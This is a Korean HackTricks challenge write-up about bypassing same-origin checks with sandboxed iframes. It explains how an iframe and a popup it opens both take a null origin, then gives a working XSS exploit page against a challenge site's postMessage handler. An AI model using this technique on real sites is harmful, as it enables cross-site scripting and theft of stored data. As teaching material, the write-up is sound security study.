6.1 KiB
SOP 우회하기 - Iframes - 1
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFTs 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 저를 팔로우하세요 🐦@carlospolopm.
- **해킹 트릭을 공유하려면 hacktricks repo 및 hacktricks-cloud repo**에 PR을 제출하세요.
SOP-1에서의 Iframes
NDevTK와 Terjanq가 만든 이 도전과제에서는 코드 내 XSS를 악용해야 합니다.
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
주요 문제는 메인 페이지가 DomPurify를 사용하여 data.body
를 전송하기 때문에 해당 코드로 자체 HTML 데이터를 보내려면 e.origin !== window.origin
을 우회해야 한다는 것입니다.
제안된 해결책을 살펴보겠습니다.
SOP 우회 1 (e.origin === null)
//example.org
이 sandboxed iframe에 포함되면 페이지의 **원본(origin)**은 **null
**이 됩니다. 즉, **window.origin === null
**입니다. 따라서 <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
를 통해 iframe을 포함시키면 null
원본을 강제로 생성할 수 있습니다.
페이지가 포함 가능한 경우에는 이러한 보호를 우회할 수 있습니다 (쿠키도 SameSite=None
으로 설정해야 할 수 있습니다).
SOP 우회 2 (window.origin === null)
잘 알려지지 않은 사실은 sandbox 값으로 allow-popups
가 설정되어 있을 때 열린 팝업은 allow-popups-to-escape-sandbox
가 설정되지 않는 한 모든 sandboxed 속성을 상속받는다는 것입니다.
따라서 null 원본에서 팝업을 열면 팝업 내부의 **window.origin
**도 **null
**이 됩니다.
도전 과제 해결책
따라서 이 도전 과제에서는 iframe을 생성하고, 취약한 XSS 코드 핸들러인 (/iframe.php
) 페이지로 팝업을 열 수 있습니다. window.origin === e.origin
이 가능한 이유는 둘 다 null
이기 때문입니다. 이를 통해 XSS를 악용할 페이로드를 전송할 수 있습니다.
해당 페이로드는 식별자를 가져와 XSS를 다시 상위 페이지 (팝업을 열었던 페이지)로 전송합니다. 이때, 식별자는 알려져 있으므로 window.origin === e.origin
조건이 만족되지 않아도 상관없습니다 (기억하세요, 원본은 iframe의 팝업이며 원본은 **null
**입니다) data.identifier === identifier
입니다. 그런 다음, XSS가 다시 트리거됩니다. 이번에는 올바른 원본에서 발생합니다.
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하고 싶으신가요? 아니면 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFT 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 저를 팔로우하세요 🐦@carlospolopm.
- **해킹 트릭을 공유하려면 hacktricks repo 및 hacktricks-cloud repo**에 PR을 제출하세요.